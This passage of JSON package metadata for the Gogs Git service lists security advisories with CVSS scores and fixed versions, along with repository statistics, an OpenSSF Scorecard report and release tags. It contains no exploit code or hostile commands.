check.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-18T20:33:05.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-14958","https://github.com/gogs/gogs/pull/5988","https://github.com/gogs/gogs/commit/82ff0c5852f29daa5f95d965fd50665581e7ea3c","https://github.com/advisories/GHSA-4c7m-vv47-7c69"],"source_kind":"github","identifiers":["GHSA-4c7m-vv47-7c69","CVE-2020-14958"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:13:02.813Z","updated_at":"2026-09-03T07:15:22.868Z","epss_percentage":0.0093,"epss_percentile":0.57904,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRjN20tdnY0Ny03YzY5","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRjN20tdnY0Ny03YzY5","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.12.0","vulnerable_version_range":"\u003c 0.12.0"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTRjN20tdnY0Ny03YzY5/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVyMnYtNmdtNi12cHZo","url":"https://github.com/advisories/GHSA-5r2v-6gm6-vpvh","title":"Insecure Permissions in Gogs","description":"routes/api/v1/api.go in Gogs 0.11.86 lacks permission checks for routes: deploy keys, collaborators, and hooks.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-05-18T17:33:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2019-14544","https://github.com/gogs/gogs/issues/5764","https://github.com/gogs/gogs/commit/c3af3ff1d0484de3bd789ee6c6e47f35d590e945","https://github.com/advisories/GHSA-5r2v-6gm6-vpvh"],"source_kind":"github","identifiers":["GHSA-5r2v-6gm6-vpvh","CVE-2019-14544"],"repository_url":"https://github.com/gogs/gogs","blast_radius":0.0,"created_at":"2022-12-21T16:13:03.725Z","updated_at":"2026-09-03T07:15:27.077Z","epss_percentage":0.01528,"epss_percentile":0.72903,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVyMnYtNmdtNi12cHZo","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVyMnYtNmdtNi12cHZo","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.11.91","vulnerable_version_range":"\u003c 0.11.91"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTVyMnYtNmdtNi12cHZo/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/gogs.io/gogs","docker_dependents_count":12,"docker_downloads_count":92861714,"usage_url":"https://repos.ecosyste.ms/usage/go/gogs.io/gogs","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/gogs.io/gogs/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-27T21:37:58.260Z","issues_count":242,"pull_requests_count":546,"avg_time_to_close_issue":31411167.925925925,"avg_time_to_close_pull_request":1966512.8793103448,"issues_closed_count":81,"pull_requests_closed_count":464,"pull_request_authors_count":73,"issue_authors_count":211,"avg_comments_per_issue":3.2231404958677685,"avg_comments_per_pull_request":0.5494505494505495,"merged_pull_requests_count":374,"bot_issues_count":0,"bot_pull_requests_count":277,"past_year_issues_count":30,"past_year_pull_requests_count":71,"past_year_avg_time_to_close_issue":4886032.642857143,"past_year_avg_time_to_close_pull_request":293914.0,"past_year_issues_closed_count":14,"past_year_pull_requests_closed_count":38,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":26,"past_year_avg_comments_per_issue":1.2666666666666666,"past_year_avg_comments_per_pull_request":0.7746478873239436,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":17,"past_year_merged_pull_requests_count":23,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/issues","maintainers":[{"login":"unknwon","count":157,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/unknwon"}],"active_maintainers":[{"login":"unknwon","count":17,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/unknwon"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/gogs.io%2Fgogs/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/gogs.io%2Fgogs/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/gogs.io%2Fgogs/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/gogs.io%2Fgogs/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/gogs.io%2Fgogs/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/gogs.io%2Fgogs/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2282222,"maintainers_count":0,"namespaces_count":839591,"keywords_count":126448,"github":"golang","metadata":{"funded_packages_count":72260,"sync_missing_packages_cursor":{"timestamp":"2026-08-17T00:00:58.969562Z","path":"github.com/Tektoncd/operator","version":"v0.78.0"},"rate_limit":1},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-09-03T05:01:28.847Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":14039669,"name":"keyporttech/gogs","ecosystem":"helm","description":"Gogs is a painless self-hosted Git service","homepage":"https://github.com/keyporttech/gogs-helm-chart","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/gogs/gogs","keywords_array":["git","issue tracker","code review","wiki","gitea","gogs"],"namespace":"keyporttech","versions_count":4,"first_release_published_at":"2020-12-05T17:40:07.000Z","latest_release_published_at":"2020-12-05T17:40:07.000Z","latest_release_number":"0.1.3","last_synced_at":"2026-08-25T13:35:07.914Z","created_at":"2026-03-13T10:16:25.738Z","updated_at":"2026-08-27T21:37:57.631Z","registry_url":"https://artifacthub.io/packages/helm/keyporttech/gogs","install_command":"helm repo add keyporttech https://keyporttech.github.io/helm-charts \u0026\u0026 helm install gogs keyporttech/gogs","documentation_url":"https://artifacthub.io/packages/helm/keyporttech/gogs","metadata":{"app_version":"0.12.3","chart_version":"0.1.3","category":3,"official":false,"deprecated":false,"repository_url":"https://keyporttech.github.io/helm-charts","maintainers":[{"name":"Keyporttech","email":"info@keyporttech.com"}]},"repo_metadata":{"id":14049846,"uuid":"16752620","full_name":"gogs/gogs","owner":"gogs","description":"The painless way to host your own Git service","archived":false,"fork":false,"pushed_at":"2026-08-22T21:32:23.000Z","size":212345,"stargazers_count":47767,"open_issues_count":1008,"forks_count":5075,"subscribers_count":1008,"default_branch":"main","last_synced_at":"2026-08-25T13:29:48.260Z","etag":null,"topics":["docker","git","go","gogs","mysql","postgresql","raspberry-pi","self-hosted","source-code-management","sqlite3","version-control"],"latest_commit_sha":null,"homepage":"https://gogs.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/gogs.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":".github/CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2014-02-12T01:57:08.000Z","updated_at":"2026-08-25T13:21:43.000Z","dependencies_parsed_at":"2026-08-25T13:39:54.578Z","dependency_job_id":null,"html_url":"https://github.com/gogs/gogs","commit_stats":{"total_commits":4989,"total_committers":561,"mean_commits":8.893048128342246,"dds":0.5403888554820606,"last_synced_commit":"79bda9df35b841d40b49a670491df15b9661712b"},"previous_names":["gogits/gogs"],"tags_count":98,"template":false,"template_full_name":null,"purl":"pkg:github/gogs/gogs","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gogs","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/sbom","scorecard":{"id":433968,"data":{"date":"2025-08-11","repo":{"name":"github.com/gogs/gogs","commit":"37962fcc0bc404b1ac12301165899162005b257c"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":6.3,"checks":[{"name":"Code-Review","score":1,"reason":"Found 1/8 approved changesets -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Maintained","score":10,"reason":"20 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":8,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: jobLevel 'actions' permission set to 'write': .github/workflows/docker.yml:23","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker.yml:24","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker.yml:96","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/docker.yml:136","Info: jobLevel 'contents' permission set to 'read': .github/workflows/docker.yml:137","Info: jobLevel 'contents' permission set to 'read': .github/workflows/go.yml:27","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/go.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/codeql.yml:24","Warn: topLevel 'security-events' permission set to 'write': .github/workflows/codeql.yml:25","Warn: no topLevel permission defined: .github/workflows/docker.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/go.yml:22","Info: topLevel 'contents' permission set to 'read': .github/workflows/shell.yml:8"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: public/plugins/pdfjs-5.2.133/web/wasm/openjpeg.wasm:1","Warn: binary detected: public/plugins/pdfjs-5.2.133/web/wasm/qcms_bg.wasm:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v0.13.3 not signed: https://api.github.com/repos/gogs/gogs/releases/223892467","Warn: release artifact v0.13.2 not signed: https://api.github.com/repos/gogs/gogs/releases/192133957","Warn: release artifact v0.13.3 does not have provenance: https://api.github.com/repos/gogs/gogs/releases/223892467","Warn: release artifact v0.13.2 does not have provenance: https://api.github.com/repos/gogs/gogs/releases/192133957"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/docker.yml:16"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/codeql.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:30: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:61: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:76: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker.yml:99: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:116: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:118: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:126: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/docker.yml:143: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:145: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:150: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:159: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/docker.yml:179: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/docker.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:55: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:82: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:109: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:111: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/go.yml:122: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:159: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:161: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:185: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:187: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:208: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/go.yml:210: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/go.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/lock.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/lock.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/shell.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/shell.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/shell.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/gogs/gogs/shell.yml/main?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:1","Warn: containerImage not pinned by hash: Dockerfile:14: pin your Docker image by updating alpine:3.21 to alpine:3.21@sha256:b6a6be0ff92ab6db8acd94f5d1b7a6c2f0f5d10ce3c24af348d333ac6da80685","Info:   0 out of  20 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  26 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 0 commits out of 26 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-19T04:08:24.040Z","repository_id":14049846,"created_at":"2025-08-19T04:08:24.040Z","updated_at":"2025-08-19T04:08:24.040Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36947242,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-08-27T02:00:07.166Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"gogs","name":"Gogs","uuid":"6656686","kind":"organization","description":"A painless self-hosted Git service","email":null,"website":"https://gogs.io","location":"Wildest Dream","twitter":"GogsHQ","company":null,"icon_url":"https://avatars.githubusercontent.com/u/6656686?v=4","repositories_count":16,"last_synced_at":"2024-04-28T02:56:38.998Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/gogs","funding_links":[],"total_stars":45026,"followers":211,"following":0,"created_at":"2022-11-07T04:51:04.809Z","updated_at":"2024-04-28T02:56:42.027Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gogs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/gogs/repositories"},"tags":[{"name":"latest-commit-build","sha":"b925c222959e57f3c403aebb6122fede6a1f35da","kind":"commit","published_at":"2026-08-22T21:31:37.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/latest-commit-build","html_url":"https://github.com/gogs/gogs/releases/tag/latest-commit-build","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@latest-commit-build","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/latest-commit-build","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/latest-commit-build/manifests"},{"name":"v0.14.3","sha":"3ba8aca90e17e5410b7e8b227c9f29256ac3e875","kind":"commit","published_at":"2026-06-07T17:48:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3/manifests"},{"name":"v0.14.3-rc.1","sha":"3ba8aca90e17e5410b7e8b227c9f29256ac3e875","kind":"commit","published_at":"2026-06-07T17:48:11.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.3-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.3-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.3-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.3-rc.1/manifests"},{"name":"release-archive-testing","sha":"3eb932848591243a9f0278cd9060f6b32d6d4a25","kind":"commit","published_at":"2026-05-25T02:46:34.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/release-archive-testing","html_url":"https://github.com/gogs/gogs/releases/tag/release-archive-testing","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@release-archive-testing","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/release-archive-testing","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/release-archive-testing/manifests"},{"name":"v0.14.2","sha":"5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb","kind":"commit","published_at":"2026-02-19T00:23:48.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.14.2/manifests"},{"name":"v0.14.2-rc.1","sha":"5dcb6c64bdf61e38dbdbb941c1d69789c560d0fb","kind":"commit","published_at":"2026-02-19T00:23:48.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.14.2-rc.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.14.2-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.14.2-rc.1","t